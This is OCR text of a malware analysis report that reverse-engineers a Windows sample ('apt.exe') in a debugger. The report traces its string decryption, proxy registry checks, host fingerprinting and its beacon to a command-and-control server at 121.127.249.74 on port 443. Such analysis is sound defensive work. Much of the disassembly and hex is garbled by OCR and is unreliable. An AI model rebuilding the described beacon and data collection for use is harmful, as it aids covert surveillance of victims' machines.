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B o lax26v0.9.8 - X

File Imports Trace Misc Help

Attach to an active process
5436 - apt.exe - C:\Users Wl Desktopl\apt. exe ~ | | Pick DLL

Imports

kernel32.dll (31) FThunk: 0000C0CS
user32.dll (Z) FThunk: 0000C 148
advapi32.dll (3) FThunk: 0000C 154
oleaut32.dll (2) FThunk: 0000C 164
kernel32.dll (4) FThunk: 0000C170
advapi32.dll (3) FThunk: 0000C 154
kernel32.dll (20) FThunk: 0000C194
ws2_32.dll {14) FThunk: 0000C 1ES
dnsapi.dll (2) FThunk: 0000C224

LeeeLLRRS

Show Invalid Show Suspect Clear
IAT Info Actions Dump
OEP [67189194 [ ——— Autotrace Dump | | PE Rebuild
VA | 6718C0C3 |

. GetImports S
Size | DODOD164 | .- ix Dump

Log

IAT Search Adv: Found 69 (0x45) possible IAT entries. ~
IAT Search Adv: Possible TAT first 6718C0CE last 6718C228 entry.

IAT Search Adv: IAT VA 6713C0CE RVA 0000COCE Size Ox0164 (356)

IAT Search Mor: IAT VA 6713C0C4 RVA 0000C0C4 Size 0x0168 (360)

IAT parsing finished, found 81 valid APIs, missed 0 APIs

DIRECT IMPORTS - Found 0 possible direct imports with 0 unigue APIs!

Imports: 81 + |nvalid: 0 Imagebase: 67130000 apt.exe

Figure 20

We’ve successfully fixed the IAT in our dropped binary, and this operation is useful because it reveals different API

calls which have to be analyzed:
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DA View-A [ lE] Hex View-1 g @& Structures g &2 Enums 3] Exports [x
Address Ordinal  Name Library
s718C0Ce DeleteCriticalSection kemel32
6718C0CC LeaveCriticalsection kemel32
6718C0D0 EnterCriticalSection kemel32
67180004 InitializeCriticalSection kemel32
6718C0D8 VirtualFree kemel32
6718C0DC VirtualAlloc kemel32
6718C0E0 LocalFree kemel32
6718C0E4 LocalAllo kemel32
6718C0E8 GetTickCount kemel32
671BCOEC QueryPerformanceCounter kemnel32
6718C0FD Getversion kemel32
6718COF4 GetCurrentThreadld kemel32
6718C0FE GetThresdLocale kemel32
§718C0FC GetStartuplnfod kemel32
6718C100 GetlocalelnfoA kemel32
6718C104 GetlLastError kernel32
6718C108 GetCommandLineA kemel32
&71ac10C Freelibrary kemel32
6718C110 BiitProcess kemel32
&71aC114 WriteFile kemel32
6718CT 18 UnhandledExceptionFiter kemel32
&71aC11C SetFilePointer kemel32
6718C120 SetEndOfFile kemel32
s71aC124 RelUnwind kemel32
6718C128 ReadFile kemel32
s71ac12C RaiseException kemel32
6718C130 GetStdHandle kemel32
&71ac134 GetfileSize kemel32
6718C138 GetfileType kemel32
s71ac13C CresteFileA kemel32
6718C140 CloseHandle kemel32
s71ac148 GetkeyboardType user32
6718C14C MessageBorh user32
&71aC154 RegQuenyValueExh advapiz2

Figure 21

Now we will analyze the decrypted binary. It initiates the use of Winsock DLL by calling the WSAStartup function:

68 02 02 00 0O
ES8 AC CZ FF FF

€all <apt.wSAStartup>
test eax,eax

X | C1 0 x L
XB7SW_SF O XB7SW_

Default (stdcall)

1: [esp] 00000202

<apt.WSAStartup>

CODE: 6718834F apt.exe:$834F #774F

2: [esp+4] 0019FDD
3: [esp+8] 6718C7C
4: [esp+C] 0000000

B4 Dump 1 B4 Dump 2 B4 Dump 3 B4 Dump 4

B4 Dump 5 @ watch 1 1x=] Locals

Figure 22

During the entire execution, the process decrypts relevant strings by using a custom algorithm that can be described

00000202
0019FDI8 | 0019FDIC | &"DnsqQuery_A"

shortly: If m is the encrypted buffer and key is the decryption key, the result of the algorithm is (m[i] AND 0xF)
XOR (key[i] AND 0xF) + (m[i] AND 0xFO0), as presented below:
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' ] A A e Ta W Ay AT W L e e T
mﬂ—}—i—)l 7 73 8A 44 18 FF mov al,byte ptr ds:[eax+tebx-1]
Pt o 67184B77 24 OF and al,F
ek ®(| 67184B79 BB 55 F5 mov edx,dword ptr ss:[febp-5]
i ®(| 67184B7C BA 54 32 FF mov dl,byte ptr ds:[edx+esi-1]
] e || 571848580 80 EZ OF and di,F
] @ (| 6F184BE83 32 C2 xor al,dl
fiit ® (| 57184B55 88 45 F3 mov byte ptr ss:|[ebp-Dfj, al
i ®(| 67184B58 8D 45 FC 1ea eax,dword ptr ss:[febp-aj
i ®| 67184BEE E8 14 EE FF FF Ea11 apt.e&7183944
16 (| G7184E90 BB 55 FC mov edx,dword ptr ss:|[febp-4]
il & G7184E93 BA 54 1A FF mov dl,byte ptr ds:[edx+ebx-1]
il e 57184B97 80 E2 FO and d1,Fo
it #®(| G7184B9A BA 4D F3 mov cl,byte ptr ss:[Qebp-0f
(] e (| 67F184B9D 0z D1 add di,c
i i (| 67184B9F 58 54 18 FF mov byte ptr ds:[eax+ebx-1],d1
i ¢ | 67184BA3 46 inc esi
! (| GT184EA4 BB 45 F& mov eax,dword ptr ss:[febp-5]
o ®| 67184BAT ES A0 EB FF FF €811 apt.6&718374C
It ® (| 67184BAC 3B FO cmp esi,eax
| 1 ----®| 67T184BAE ~ 7E 05 jle apt.6&71B84BBS
0 : 8| G71E84BEBO BE 01 OO 0O 0O mov esi,l
| | L--—@|| T1E4BES 43 inc ebx
gl ®|| 67T1E84BEE 4F dec edi
Attt & || 67184BET ~ 75 BY jne apt.&7184B70
EE R +@# || 671834BBD 5B 45 F4 mov eax,dword ptr ss:|febp-Cfj
® (| 67184BBC 8B 55 FC mov_edx,dword ptr ss:lfebp-4]
@ || G7184BBF E8®8 58 EA FF FF E&ll apt.6&718361C
o || St Emiiatt el g
<
al=zg 's’'
byte ptr [eax+ebx*1-1]=[03FE0038 "962(257*12:)70=274"]=39 '9'
CODE: 67184B73 apt.exe: $4B73 #3F73
@oumpt  @Ypump2 @Dump3  @Dump4  WHDumps @ watch1  Ix=lLocals 4 struct
Address | Hex ASCII
O3FECQD3Z8 |38 36 32 28(32 35 3F 2A[31 32 3A 29|3F 30 3D 32 |862(257*12:)170=2
03FEOQO48| 37 34 00 OO|00 OO OO QO|00 OO OO0 OO(O0 OO0 OO0 00|74, .. cavueennnns
0O3FEQOS8 |00 OO OO OO|00 OO0 OO0 Q0|00 OO0 00 O0(00 00 00 00| cu e ceasansnnans
0O3FEOQOGE| 00 OO OO OO |00 00 OO0 Q0|00 OO0 00 OO(00 00 00 00| v e eanansnnnns
Figure 23

After these operations are finished, the result represents the C2 server and the corresponding port number:

Address | Hex ASCII |
O3FEOO88|31 32 31 2E[31 32 37 2E(32 34 39 2E([37 34 3E 34|121.127.249.74>4
D3FEOO98|34 33 08 04|03 06 03 07|08 04 03 06|03 OF OB 0443, ... vnnnre..
D3FEQOAS|03 06 03 07|08 04 03 06|03 07 08 04|03 06 03 OF | vveienreennnnnns
O3FEOOBS |08 04 03 06|03 07 O8 04|03 06 03 OF |08 04 03 06| v v v venrrennnenns
O3FEOOCS| 00 00 00 00|00 00 OD DO|00 00 00 00|00 DD O0 OO ... enreeeunne..

Figure 24

The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key by calling the
RegOpenKeyExA API:

1 50 push eax e s R s e e
I 68 19 00 02 00 push 20019 A87w 2 83 I(Eru LYY SN/ 3 3 (EDLY)
| 6A 00 push 0 XB87Tw_4 3 (Empty) X87TW_5 3 (Empty)
I 8D 55 C8 Tea edx,dword ptr ss:[[ebp-3s[] XB7TW_6 3 (EmMpTy)  X87TW_7 3 (EmpTy)
I B8 8C 5E 18 67 mov_eax,apt.67185E8C
1 £8 EA EF FF FF €all apt.67184924 xB7Statusword 0000
1 BB 45 C8 mov_eax,dword ptr ss:[febp-zsff XB7SW_B O x87S5W_C3 0 xB87SW_CZ2 0O
1 E8 DA ED FF FF €all apt.6718394C X87SW_C1 0 X87SW_CO O X87SW_ES O
| 50 push eax XB7SW_SF O XB7SW_P 0 XB7SW_U o
68 01 00 00 80 push 80000001 ]
Eﬂ—i— E8 €3 EE FF FF €all <apt.RegOpenkeyExA> v [= = = -
e ————ES = 5 | pefault (stdcall ~ (5 2]0 unlad
1: [esp] 1
<apt.RegOpenkKeyExA> 2: [espt+4] O3FEO6F0 "Software\‘\Microsofth)
3: [esp+8] 00000000
4: [esp+C] 00020019
CODE: 67185948 apt.exe:$5948 #4D48

oumpl  Woump2  @WDump3  WeDump4  YWoumps % ikfoorsreea| o3reosFo

Address | Hex JESET . [[EuT=EEsE
CO19FEES| 00 00 00 00[00 0O 00 0[O0 00 00 OO[EQQ8 FE Q3|.....

0019FE6EC | 00020019
Figure 25

"sof twar e\\Microsoft\\windows\\Currentversion\\Internet Settings"

0019FE70 | OO19FF28

The “ProxyEnable” value is extracted using the RegQueryValueExA function, and it’s compared with 1. This action

has the purpose of verifying if the current machine is using a proxy for network communications:
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BD 45 FO
8D 45 F8
8D 55 C4
B8 OC 5F 18 67

8B 45 C4
E8 CD DF FF FF

8B 45 FC

|

E8 8F EB FF FF

push eax

lea eax,dword ptr ss:|Jebp-10]
push eax

lea eax,dword ptr ss:|[Jebp-5]
push eax

push 0

lea edx,dword ptr ss:[Jebp-3Cj
mov _eax,apt.67185F0C

E&1T apt.67184924

mov eax,dword ptr ss:|[Jebp-3C]
€411 apt.6718394C

push eax

mov eax,dword ptr ss:[Jebp-4]
push eax

€211 <apt.RegQueryvalueExA>

¥B7r7 0000000000000000000

x87Tagword FFFF

X87TW_0 3 (Empty) XB7TW
x87TW_2 3 (Empty) XB7TW
XB7TW_4 3 (Empty) XBTTW
XB7TW_6 3 (Empty) XBTTW

x875tatusword 0000

XB87SW_B 0O X87s5W_C3 0O
X875W_C1 O XB7sw_C0 O
XB7SW_S5F 0 XB7SW_P o

Default (stdcall)

<apt.RegQueryvValueExA>

CODE: 67185984 apt.exe:$5984 #4D54

1: [esp] 00000168

2: [esp+4] O3FEO7DC “Prox
3: [esp+8] 00000000

4: [esp+C] OD19FF24

Dump1l  @Ypump2 @Y Dump3 @ Dump 4

4 Dump 5

@ watch1  [r=llocals 5 Struct

00000168

D019FEGD "ProxyEnable"

03FEOQ7DC
00000000

Figure 26

If “ProxyEnable” is equal to 1, the malware proceeds and extracts the value of “ProxyServer” (hostnames/IPs of the

proxy server on the network), as displayed in

B8 2C 5F 18 &7
E8 23 EF FF FF

E8 53 DF FF FF

EIP, >

.
r-—--®
§

Address | Hex ASCII

O0L9FEES| 00 00 00 00[00 00 00 00[RC 07 FE 03[EQ 06 FE 03| ........ U.p.2.b.
O019FEF8| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|..ueeiveesanssas
nniacenglan nn an anlon nn nnoanlan Aan Anoanlan An A an

the next figure:

push eax

Tea eax,dword ptr ss:[Jebp-5j
push eax

push 0

Tea edx,dword ptr ss:[lebp-44]
mov_eax,apt.67185F2C

E&11 apt.67184924

mov eax,dword ptr ss:|[febp-44]
€all apt.6718394C

push eax

mov eax,dword ptr ss:[lebp-4f
push eax

€all <apt.RegQueryvalueExA=
test eax,eax

O019FEGS
0019FEGC
0D019FE7D

D019FF24
0019FF1C
0019FF20

" ‘ 0013FE64

x87Tagword FFFF

X87TW_0 32 (Empty) XB7TH
HB87TW_2 3 (Empty) XBTTH
X87TW_4 3 (EmMpTy)  X87Th
X87TW_6 3 (Empty) XB7TH

x875tatusword 0000

X875W_B 0 X875W C3 O
XB75W_C1 0 XB87SW.CO O
XB7SW_SF 0 XB7SW_P o

S

v
| Default (stdcall)

e
<apt.RegiueryvValueExA>

CODE: 671859FE apt.exe:$59FE #4DFE

esp] 00000168
esp+4] 03FE0954 “Prox
esp+8] 00000000
: [esp+C] 0O019FF24

Figure 27

3 00000168
B4 Dump 1 Y% Dump 2 Y bump 3 Y44 Dump 4 WL Dump 5 B watch 1 [x=] Locals 4 Struct 03FE0954 | "Proxyserver™
Address 1Hex ASCIT ] m
O019FEEC |28 08 FE 03 /RC 07 FE O3 (FO 06 FE 03(00 00 00 00|..p.U.p.B.p..... 67183951 | apt.67183951
O019FEFC| 00 00 00 00|00 00 00 00|00 00 00 Q0[O0 00 00 00| .ucunrinnnsnnnrnn =
nnraccnc | nn an an nnlan an an anlan an nn anlan an an An 0019FE70 | 0019FF20

The gethostname function is used to retrieve the host name for the local machine:

CODE: 67188C70 apt.exe:$8C70 #3070

. 50 push eax XB7SW_B
L] 8B 45 FC mov eax,dword ptr ss:|febp-4] XB7SW_C1
L] E8 DD AC FF FF call apt.6718394C XB7SW_5SF
L] 50 push eax —ean=
[EIP g 1] ES EB B2 FF FF €all <apt.gethostname: W [m—————
. o R - Default (stdc
: [es
<apt.gethostname> 35314
esp+E
esp+

W4 Dump 1

oump2 @ Dump3

44 Dump 4

4% Dump 5 3 watch 1

[x=] Locals

P O3FEDLZ24 | "E4"
Stuct  ['0019FEFSE | 00000040

Figure 28

The function result from above is used as a parameter for the gethostbyname function, which can be used to retrieve

host information corresponding to the local machine, as shown in figure 29:

E8 93 B9 FF FF

push eax
€all <apt.gethostbyname>

|
v

Default (stdcall)

: [esp] O3FED174 "DES

=

<apt.gethostbyname>

CODE: 67188CC0O apt.exe:$53CC0 #80C0

[ pe—_— " T Al

Figure 29

The inet_ntoa function is utilized to convert the IP address of the host into an ASCII string (dotted-decimal format):

Wil o - PR e Leino o
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FF 20

push dword ptr ds:[eax] &
ES 5B B9 FF FF €all <apt.inet_ntoa> v
R R S Defaul
>
= 1: [
<apt.inet_ntoa> 2t [
2 [
4:
CODE:67188CD0 apt.exe: §3CD0 #80D0 L
llr. s | @Be_ -~ | e | @Be_ . | @le_ - | 88ass | oo | @) | EDCEEE e
Figure 30

There is some sort of reverse operation done by the malware because it’s using the inet_addr function to convert the

string representation of the IP address into a proper address for the IN_ADDR structure:

50

push eax | .
E8 27 B9 FF FF

€all <apt.inet_addr> W I

T Y = Default (stdcall)

1: [esp] O3FE0190 "19:
[esp+4] 0O019FF34

2:
3: [esp+8] 67188D6C af
4: [esp+C] 0019FF2C
CODE: 67188CFC apt.exe: $8CFC #B0FC

<apt.inet_addr>

M v e 4 Rl e [ TN [T [ TN [ TR

T B 03FE0190 | "192.168.164.128"

Figure 31

The hostname and the IP address of the machine represented as a decimal number are combined into a string that will
be used in the upcoming network communications with the C2 server:

| address | Hex

ASCII
OIFEQIDC | 44 45 53 4B(54 4F 50 2D |32 2F | DESKTOP- i
O3FEOLIEC |32 31 35 38(32 37 34 3735 32| 2158274752,/21582
03FEOQLFC | 3¥ 34 3F 353230 00 00|26 00 0O 00|02 OO0 00D 00| F4F5Z0. . &

Figure 32

The malicious process uses the same decryption algorithm described before in order to decrypt important strings. The
function is highlighted in the next picture:
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CODE:
CODE :
CODE:
CODE:
CODE:
CODE :
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE :
CODE:
CODE:
CODE:
CODE :
CODE:
CODE:
CODE:
CODE :
CODE::
CODE::
CODE:
CODE:
CODE:
CODE:
CODE:
CODE :
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE :
CODE:
CODE:
CODE::
CODE :
CODE:
CODE:
CODE:

671852F9
671852FE
67185381
67185387
6718538C
67185312
67185315
6718531A
6718531F
67185324
67185327
B718532A
67185320
67185332
67185337
6718533C
6718533F
67185344
67185347
6718534C
67185351
67185354
67185359
6718535C
67185361
67185366
67185366
6718536E
67185373
67185376
67185376
67185388
67185385
67185388
6718538E
67185393
67185399
6718539E
67185341
671853476
67185346
67185368
67185363
67135368

Figure 33

call
push
push
push
push
lea
Mo
Mo
call
push
push
lea
Mo
Mo
call
push
push
lea
Mo
call
push
push
lea
Mo
Mov
call
push
push
lea
Mo
Mo
call
push
push
push
push
push
lea
Mo
Mo
call
push
push
lea
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sub_671B4BFe

[ebptvar_8]
ds:dword_6718B684

offset _str__ .Text
ds:dword_6718B633

ecx, [ebp+var_ (]

edx, offset _str_ dhg.Text
eax, offset _str_gp g .Text
sub_B7184BFB

[ebp+var_C]

[ebp+var_4]

ecx, [ebptvar_18]

edx, offset _str_ dhg.Text
eax, offset str_ mfck  wft_O0ZPX.Text
sub 67134BF@

[ebptvar_18]

offset _str__ ®.Text

edx, [ebptvar_14]

eax, offset _str_ud J.Text
sub_B7184023

[ebp+var_14]

offset str____ @.Text

ecx, [ebptvar_18]

edx, offset str f_dg.Text
eax, offset _str_Gmgbvz_Kg crgia.Text
sub_67154BF@

[ebpt+var_18]

offset _str___ B.Text

ecx, [ebptvar_1C]

edx, offset _str f _dg.Text
eax, offset _str Naws__ .Text
sub_B7184BFB

[ebp+var_1C]
ds:dword_6718B684

offset _str__ .Text
ds:dword_6718B633

offset str____ @.Text

ecx, [ebptvar_28]

edx, offset _str f_dg.Text
eax, offset str V e ko ha_dgml.Text
sub _67154BF@

[ebp+var_28]

offset _str__ ®.Text

edx. lebotvar 241

An example of how the algorithm performs is displayed below, where EAX represents the encrypted string and the

key is moved into the EDX register:
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#|[67184BE7 SE pop esi 3

#[ 671348E8 58 pop ebx ~ | EHte GE

o[t BEaEs Comid sgg-em EAX 67185448 UIANY TP wa+' "

# 671848EC c3 b CERRIIR

o 671348ED 8D 40 00 lea eax,dword ptr ds:[eax] ECX  0019FF24

|| 671848F0 55 push ebp ERX 00000000

» 671848F1 88 EC mov ebp,esp EBE  OO19FEES

o[ 671348F3 83 C4 FO add esp,FFFFFFFO ESP  DOL9FECO

o[ 671848F6 53 push ebx ESI 00000001

#( 671848F7 56 push esi EDI 00000008

#[ 671348F8 57 push edi

o 67184BF9 89 4D F4 mov dword ptr ss:[ebp-CJJ,ecx EIP 67184C3B apt.67184C3B

ol s7184BFC 89 55 F8 mov dword ptr ss:febp-s),edx

® 67134BFF 89 45 FC mov dword ptr ss:[febp-4],eax 00000,

®| 67184C02 BB 45 FC mov eax,dword ptr ss:[Jebp-4J ;:L'SGSPF o AFzgz

w|[67184C05 EB 3z ED FF FF €all apt.6718393C

®|[ 67184Cc0A 8B 45 F8 mov_eax,dword ptr ss:[Jebp-sj OF DS B DESD

o 67184co0 ES8 2A ED FF FF €& apt.6718393C CFO0 TFO IF1

o[ 67184c12 33 co XOr eax,eax

o[ 67184c1a = push ebp LastError 00000000 (ERROR_SUCCESS)

o 67184c15 68 A7 4C 1B 67 push apt.67184CAT7 . LasTSTatus 00000000 (STATUS_SUCCESS)

®| 67184C1A &4 FF 30 push dword p‘tr:: [eax]

®|l 67184C1D 64 89 20 mov dword ptr [eax],esp G5 0028 FS 0053

# 67184c20 BE 01 00 00 00 mov esi,1 ES 0028 DS 0D0ZB

o 67184C25 8B 45 FC mov_eax,dword ptr ss:[Jebp-al €5 0023 S5 0OZE

®|[67184C28 E8 1F EB FF FF €all apt.6718374C

H S s Moy o scax X87r0 3FFCDDOLEOAE3FBEBODS STO Empty 0,215

e (e e e ot 37e apt.é71s4cEL X87r1 4002A000000000000000 ST1 Empty 10.00]

ol 6718433 BB 01 00 00 0O mov ebx,1 X87r2 3FFCDDD1EDAE3FBEBDDS ST2 EmMpTy 0,215

P 88 45 FC mov eax,dword ptr ss:[febp-40 x87r3 3FFFS000000000000000 ST3 Empty 1.000]
Bg——e BA 44 18 FF mov al,byte ptr ds:[eaxt+ebx-1] X87r4 3FFCDDO1EDAE3FBEBDDS ST4 Empty 0.215

. 24 OF and al,F XB7r5 40024000000000000000 STS Empty 10,00

. x87r6 3FFCDDO1EOAE3FBERDDS ST6 Empty 0.215

® 67154C44 BA 54 32 FF mov dl,byte ptr ds:[edx+esi-1] X87r7 3FFFS000000000000000 ST7 EMPTy 1.000|

®f 67184ca8 80 E2 OF and dl,F

#[ 67184c4B 32 2 xor g;&m e . xs7Tagword FFFF

o 67184c4D 88 45 F3 mov e ptr ss:[lebp-Dlll, a

e 67184C50 BD 45 FC lea eax,dword ptr ss:llebp—ﬂtl ::;m_g : E:mmyg ::;m_; g E:mmy%

®| 67184C53 EB 4C ED FF FF €all apt.671839A4 = Pty o Pty

o e7184cs8 8B 55 FC mov edx,dword ptr ss:[Jebp-4f X87TW. 4 3 (EMPTY)  X87TW 5 3 (EmPTY)

o 67184csE BA 54 1A FF mov di,byte ptr ds:[edx+ebx-1] X87TW_6 3 (Empty)  x87TW_7 3 (Empty)

® 67184C5F 80 E2 FO and dl1,Fo

®|[ 67184C62 BA 4D F3 mov cl,byte ptr ss:[febp-Dfj xB87Statusword 0120

o 6718465 02 D1 add di,cl XB7SW_B O x87SW_C3 O x87SW_C2 O

®fl 67184C67 88 54 18 FF mov byte ptr ds:[eax+ebx-1],d1 XB87SW_C1 0 X87SW_C0O 1 X87SW_ES O

#[ 67184ceB 46 inc esi XBTSW_SF 0 x87SW_P 1 xX87SW_U 0O

®| 67184CEC BE 45 F8 mov eax,dword ptr ss:|[Jebp-sJ e {

®|l 67184C6F €all apt.6718374C

ofl mmzsian - TS

: [esp+8] DO1SFEES
3: [esp+C] 671912F0 <apt.EntryPoint>

Figure 34

By placing a breakpoint after the operation is supposed to end, we can observe that the string was successfully

decrypted:

67 184CE4
67 1B4CE7Y

FC
E9 FF FF

mov edx,dword ptr ss:
€all apt.6&6718361C

20

dword ptr [ebp-Cl=[0019FEDC]=0019FF24

CODE: 67184C81 apt.exe: $4C81 #4081

ﬂDumpl EDLmE Eﬂmﬁ EDLm": EDLmS @Watd’!l [x=] Locals 3”

03FE0Z234 o0[E4 BS 18 &7 TR
Figure 35

After a few more operations are performed, we can distinguish other interesting strings, like the User Agent that will

be used in the communications with the Command and Control server:

D3IFED234
D3IFEDZ244
DO3IFED25 4
D3FEOZE4
D3FEQOZ27 4
03FEDZ284
D3IFED294
D3IFEDZ2A4
O3IFEOZB4
D3IFED2CH
03FEQZD 4
D3FEOZE4
D3IFEDZF4
O3IFEQ304
D3IFEDO314
D3IFED324
DO3FED334
D3FEOZ44 00 5C 57

Figure 36
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The sample builds an HTML document that contains the infected hostname and the IP address corresponding to the

local machine. This form will be used in a POST request as we’ll see later on:

Address | Hex ASCII
O3FEN4B4|3C 68 74 6D |6C 3E 3C 68|65 61 64 3E(3C 74 €9 74| <html><head=<tit
O3FEN4C4|6C 65 3E 52|65 73 75 6C|74 3C 2F 74|69 74 6C 65| lexResult</title
03FEN4D4 | 3E 3C 2F 68|65 61 64 3E|00 00 00 0OO0|1A 0O 00 00|></heads=........
0O3FEO4E4 |01 00 00 0OO0|0A OO0 00 0O0D|3C 62 6F 64|79 3E 3C 68|........ <body=<h
03FEO4F4|34 3E 00 00|22 00 OO0 00|01 OO0 OO 00|13 OO0 0D OO o e
O3FENS04|3C 2F &8 34|3E 3C 2F 62|6F 64 79 3E|(3C 2F 683 74 -:fh4:--:fbu:fy:--:,fht
03FENS514|6D &C 3E OO|7FE 00 00 00|01 00 OO0 OO|(6D OO0 OO0 OO |mMl>.~.......
D3FEN524|3C 68 74 6D |6C 3E 3C 68|65 61 64 3E(3C 74 69 74 -:htm'l:--:head:--:'nt
0O3FENS34|6C 65 3E 52|65 73 75 6C|74 3C 2F 74(69 74 6C 65| lexResult</title
O3FENS44|3E 3C 2F G6B|65 61 64 3E|0D 0A 3C 62 |6F 64 79 3E|=</head=..<body=>
N3FENS54|3C 658 34 3E|44 45 53 4B|54 4F 50 20 (32 N <h4>DESKTOP-ZEEE
n3Fenses | -F 32 31 35 38|32 37 34 37|35 32 2F 32 |/2158274752/2
O3FENS74|31 35 38 32|37 34 37 35|32 30 3C 2F |68 34 3E 3C| 1582747520/ /hax<
O3FENSB4|2F 62 GF 64|79 3E 3C 2F |68 74 6D 6C[3E 00 56 65| /body=</html>.Ve

Figure 37

The socket function is used to create a socket, and the following parameters are passed to the function call: 0x2
(AF_INET — IPv4 address family), 0x1 (SOCK_STREAM - provides sequenced, reliable, two-way streams with an

OOB data transmission mechanism) and 0 (the protocol is not specified). The function call is shown below:

33 DB xor ebx,ebx NBT:
6A 00 push 0O KBTS
64 01 push 1 XEBT:
6A 02 push 2 | en=x
E8 45 DA FF FF call <apt.socket> g !
o e S g e e : Defau
1:
<apt.socket> >
EH
41
CODE: 67186C06 apt.exe: $6C06 #6006

00000002
4% Dump 1 @2 Dump 2 &% Dump 3 % Dump 4 222 Dump 5 @ Watch 1 1*=| Locals cﬁ Struct Mﬁmjﬂpﬁc 00000001
[address [ Haw lasrTT [ « || DO1SFFOO | DOO00000

Figure 38

The setsockopt API is used to set a socket option. The following parameters can be highlighted — OXFFFF
(SOL_SOCKET - socket layer), 0x8 (SO_KEEPALIVE — enable keep-alive packets for a socket connection):

[ 64 04 push 4 : g KETY
! . 8D 45 F4 lea eax,dword ptr ss:[lebp-Cf}
! ™ 50 push eax BT
! . 64 038 push 8 HB7!
1 L] 68 FF FF 00 00 push FFFF XB7F!
| - 8B 06 mov eax,dword ptr ds:[esi] KBTS
| . 50 push eax
[EIP g 2 E8 16 DA FF FF €all <apt.setsockopt> Y]
! . T T oToonmomoone oo T et e e toonE oo Defau
i >
114
<apt.setsockopt> 2:
3:
4:
CODE:67186C2D apt.exe:$6C2D #602D =
Z 00000230
4 Dump 1 222 Dump 2 gty Dump 3 222 Dump 4 &' Dump 5 '@ Watch 1 lx=] Locals o struct OD19FEF4 | DOOOFFEE
ETTTNE [asczz I ~| OOL9FEFC | 0019FF20
935503%1 ?Z iE 54 2D|GS 4 -1 D|3A 2F 2F 3J.|32 31 EE 31|GET http ,r,rJ.2J. 1| DO19FF00 | 00000004
Figure 39

The second setsockopt call has different parameters — OXFFFF (SOL_SOCKET - socket layer), 0x1006
(SO_RCVTIMEO - receive timeout), 0x15f90 = 90000ms = 90s (optval parameter):
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6A 04 push 4 : : HET
8D 45 FO lea eax,dword ptr ss:[ebp-10§
50 push eax KB
&8 06 10 00 0O push 1006 XB7:
68 FF FF 00 00 push FFFF W87
8B 06 mov eax,dword ptr ds:[esi] XB87!
50 push eax
E8 F7 D9 FF FF call <apt.setsockopt> w =
eTrEr———— e gy oy peripeer | g =]
> =
<apt.setsockopt> BT
3
EH
CODE: 67186C4C apt.exe: $6C4C #604C 0 =
z 00000230
Wioump1  @Woump2z  @Woumpz  Woumps  @Woumps @ watchi  Ix=llocals | 4 Stuct  [Do1oREE® | DDDOFEEE
Agdress | hex ascrx |eeiseere smispeie
O3FEO384 |47 45 54 20(68 74 74 70O(3A 2F 2F 31(32 31 2E 31|GET http://121.1
S N s 0015FF00 | 00000004

Figure 40

The third setsockopt call is different than the second one because it sets the send timeout to 90 seconds:

! . 6A 04 push 4 ki
] - 8D 45 FO lea eax,dword ptr ss:[Bebp-10]
! . 50 push eax X87:
| L &8 05 10 OO 00 push 1005 XB7!
1 L] &8 FF FF 00 00 push FFFF XB7!
1 w 8B 06 mov eax,dword ptr ds:[esi] XB7!
! - S0 push eax ipaney
EIP g £ E8 D8 D9 FF FF €all <apt.setsockopt> Y] =
: . s 53Ty sl Defau
>
A 263
<apt.setsockopt> :
3:
4:
CODE:67186C6B apt.exe: $6C6E #606E B 7
3 00000230
Woumpt  @pump2  @Uoump3  BWpump4  Wloumps @ watchi  Ix=lLocals & Stuct | [
Address [ Hex ASCII | OOL9FEFC | DO19FFIC
O3FE0384 |4F| 45 54 20|68 74 74 70(3A 2F 2F 31(32 31 2E 31(GET http://121.1
SRt PR R R TR oA 0019FF00 | 00000004

Figure 41

The port number 0x1BB is converted from TCP/IP network byte order to host byte order (little-endian on Intel
processors) by using a ntohs function call:

™ 56 push esi = =
L E8 DB E5 FF FF €all <apt.ntohs> e
# | 57186045 66 89 45 EA mov word ptr ss:|[ebp-16§,ax - =
ol ~~z=zz-= SRR et el e
= > Iiefal.
<apt.ntohs> 3.
3
41
CODE: 67186040 apt.exe:$6040 #5440 [
[T il m . il e [ [T PR a4 LIS i U mlﬂﬂ

Figure 42

The malware is using the inet_addr function to transform the C2 IP address into a proper address for the IN_ADDR
structure:

S& push esi

. | X8TSW_SF 0 X87TSW_P
E8 CF E5 FF FF €all <apt.inet_addr> | i —]
e[ 67186059 83 F8 FF cmp eax,FFFFFFFF v =
e % = = Default (stdcall)
=t 1: [esp] O3FEOOF8 "12
<apt.inet_addr> -

2: [esp+4] O0019FEE4
3: [esp+8] 671860B7 a
4:

esp+C] D019FEDC
CODE: 67186054 apt.exe:$6054 #5454 -

- Sl = Sl 2 T T , [ T 03FEQOFS | "121.127.249.74"

[ — il = il

Figure 43

There is a network connection established to the C2 server using the connect function. The following elements can be
highlighted in the sockaddr structure: 0x2 (AF_INET — IPv4 address family), 0x1BB = 443 (port number),

0x797FF94A (the C2 server represented as a hex value). The function call is represented in the next figure:
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| 6A 10 push 10 ] B
| 8D 45 ES lea eax,dword ptr ss:[lebp-15j
f 50 push eax
! 57 push edi
Eg— E8 81 E5 FF FF call <apt.connect>
! e o
e >
<apt.connect>
CODE: 67186092 apt.exe:$6092 #5492 T =
2 00000230 |
@Woump1  @Woump2  Epump3  @Woumps  @loumps @ watch1  [x=llocals # Stut [QDIGEEAS| DO1SFECA
ABIUEIE LS R I TR
OD19FEC4|02 DO 01 BB|79 7F F9 4A|E6 D6 C1 65|A4 FE 19 00| -..»y.uJ=0AeHp. . | et bR e on || o

Figure 44

The sample performs a GET request to the C2 server with the user agent that was decrypted earlier: “User-Agent:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)”. The data is sent using the send function:

g ®| 67186E83 6A 00 push o St
5 . 186B85 8B 45 FC mov eax,dword ptr ss:[ebp-af KBYTW_E :
0 | #(| 67186B88 E8 BF CB FF FF €all apt.6718374C
5 e || 67186850 50 push eax ®875tatus
! ®| 67136B3E BB 45 FC mov eax,dword ptr ss:[ebp-4f XEB7SW_B
i i ®( 67186E91 E8 BE CD FF FF call apt.6718394C XB875wW_C1
0 ! #| 67136B96 S50 push eax XB7 SW_SF
D ! ®| 67186B37 56 push esi
Eg———>s EE8 A3 DA FF FF €all <apt.send>
i . o dem oo = Default (stdc:
e 1: [es
<apt.send: 2: esgld
3: [esp+s
4: [esp+C
CODE: 67186895 apt.exe:$6B98 #5F98 B =

z el =EY 00000230
